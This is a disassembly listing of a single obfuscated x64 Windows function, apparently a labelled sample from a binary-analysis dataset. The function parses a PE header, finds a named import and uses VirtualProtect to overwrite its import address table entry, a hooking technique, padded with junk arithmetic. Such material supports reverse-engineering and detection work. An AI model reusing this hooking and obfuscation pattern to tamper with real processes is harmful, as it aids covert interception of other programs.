Function at 0x1800046bc
Capabilities:
Encode data using xor
Parse pe header

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x38], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x18002b528]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rbx, r8
mov r15, rdx
mov r12, rcx
lea rdx, [0x180023f08]
xor r13d, r13d
test r8, r8
cmovne rdx, r8
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], r13
mov qword [rbp - 0x18], 7
mov qword [rbp - 0x20], r13
mov word [rbp - 0x30], r13w
or rax, 0xffffffffffffffff
cmp word [rdx], r13w
jne 0x180004733
mov r8d, r13d
jmp 0x180004740
mov r8, rax
inc r8
cmp word [rdx + r8*2], r13w
jne 0x180004736
lea rcx, [rbp - 0x30]
call fcn.1800037f0
nop
mov r8d, dword [0x18002dde8]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 0x11
jne 0x1800047b2
mov r9d, r13d
mov edx, r9d
mov r10d, 8
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, r8d
mov eax, edx
sar eax, 1
mov edx, ecx
xor edx, eax
dec r10
jne 0x180004783
add r8d, edx
inc r9d
cmp r9d, 0x100
jl 0x18000477a
mov dword [0x18002dde8], r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
test rax, rax
jne 0x1800047c9
call qword [sym.imp.KERNEL32.dll_GetLastError]
movsxd r10, dword [rdi + 0x3c]
add r10, rdi
mov eax, 0x5a4d
cmp word [rdi], ax
jne 0x180004880
cmp dword [r10], 0x4550
jne 0x180004880
mov eax, 0x10b
cmp word [r10 + 0x18], ax
jne 0x180004819
cmp dword [r10 + 0x84], r13d
je 0x180004b39
mov eax, dword [r10 + 0x80]
test eax, eax
je 0x180004b39
lea rbx, [rdi + rax]
jmp 0x180004883
mov eax, 0x20b
cmp word [r10 + 0x18], ax
jne 0x180004b39
mov r9d, dword [0x18002dde8]
lea r8d, [r9 + 1]
mov ecx, r8d
imul ecx, r9d
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
cmp ecx, 3
cmove r9d, r8d
mov dword [0x18002dde8], r9d
cmp dword [r10 + 0x94], r13d
je 0x180004b39
mov eax, dword [r10 + 0x90]
test eax, eax
je 0x180004b39
lea rbx, [rdi + rax]
jmp 0x18000488a
mov rbx, r13
mov r9d, dword [0x18002dde8]
test rbx, rbx
je 0x180004b39
cmp dword [rbx + 0x10], r13d
je 0x180004b39
mov r14d, r13d
mov esi, dword [rbx]
add rsi, rdi
lea ecx, [r9 + 1]
imul ecx, r9d
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 9
jne 0x1800049bd
mov eax, 0x51eb851f
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r9d, edx
add r9d, 0x2f4
movsxd rcx, r9d
mov eax, 4
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.180008ef4
mov rcx, rax
call fcn.18000a234
mov r9d, dword [0x18002dde8]
jmp 0x1800049bd
add rax, 2
add rax, rdi
mov r8, r12
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x18000493d
inc rax
test ecx, ecx
jne 0x18000492a
test edx, edx
je 0x180004a0f
inc r14d
add rsi, 8
mov ecx, r9d
imul ecx, r9d
imul ecx, r9d
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 0xa
jne 0x1800049bd
movsd xmm3, qword [0x180024340]
xorps xmm2, xmm2
movd xmm4, r9d
cvtdq2pd xmm4, xmm4
addsd xmm2, xmm3
movaps xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x1800049a5
subsd xmm2, xmm3
divsd xmm3, qword [0x180024348]
movaps xmm1, xmm2
mulsd xmm1, xmm2
movaps xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmmword [0x180024338]
ja 0x180004988
mov rax, qword [rsi]
test rax, rax
jne 0x18000491d
add rbx, 0x14
lea ecx, [r9 + 1]
imul ecx, r9d
mov eax, 0xb21642c9
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x17
sub ecx, edx
cmp ecx, 0xf
jne 0x180004893
mov ecx, 4
call fcn.1800095e8
mov r9d, dword [0x18002dde8]
mov dword [rax], r9d
jmp 0x180004893
movsxd rdx, r14d
mov ecx, dword [rbx + 0x10]
add rcx, rdi
lea rbx, [rcx + rdx*8]
mov rdi, qword [rbx]
lea ecx, [r9 + 1]
imul ecx, r9d
mov r14d, 0x66666667
mov eax, r14d
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
cmp ecx, 3
jne 0x180004a4b
inc dword [0x18002e01c]
test rdi, rdi
je 0x180004b3c
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
jne 0x180004a6e
mov qword [rbx], r15
jmp 0x180004b3c
lea rdx, str.VirtualProtect
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
jne 0x180004b10
mov r8d, dword [0x18002dde8]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x78787879
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x11
sub ecx, edx
cmp ecx, 0xa
jne 0x180004adc
mov r9d, r13d
test r8d, r8d
je 0x180004ad2
mov ecx, r8d
and ecx, 1
add r9d, ecx
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
jne 0x180004abc
mov r8d, r9d
mov dword [0x18002dde8], r9d
mov qword [rbx], r15
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, r14d
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 0xf
jne 0x180004b3c
call fcn.18000a23c
mov dword [0x18002dde8], eax
jmp 0x180004b3c
lea r9, [rbp - 0x40]
mov edx, 8
lea r8d, [rdx - 4]
mov rcx, rbx
call rsi
mov qword [rbx], r15
lea r9, [rbp - 0x40]
mov r8d, dword [rbp - 0x40]
mov edx, 8
mov rcx, rbx
call rsi
jmp 0x180004b3c
mov rdi, r13
cmp qword [rbp - 0x18], 8
jb 0x180004b4c
mov rcx, qword [rbp - 0x30]
call fcn.1800095e0
mov qword [rbp - 0x18], 7
mov qword [rbp - 0x20], r13
mov word [rbp - 0x30], r13w
mov rax, rdi
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.180008f30
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret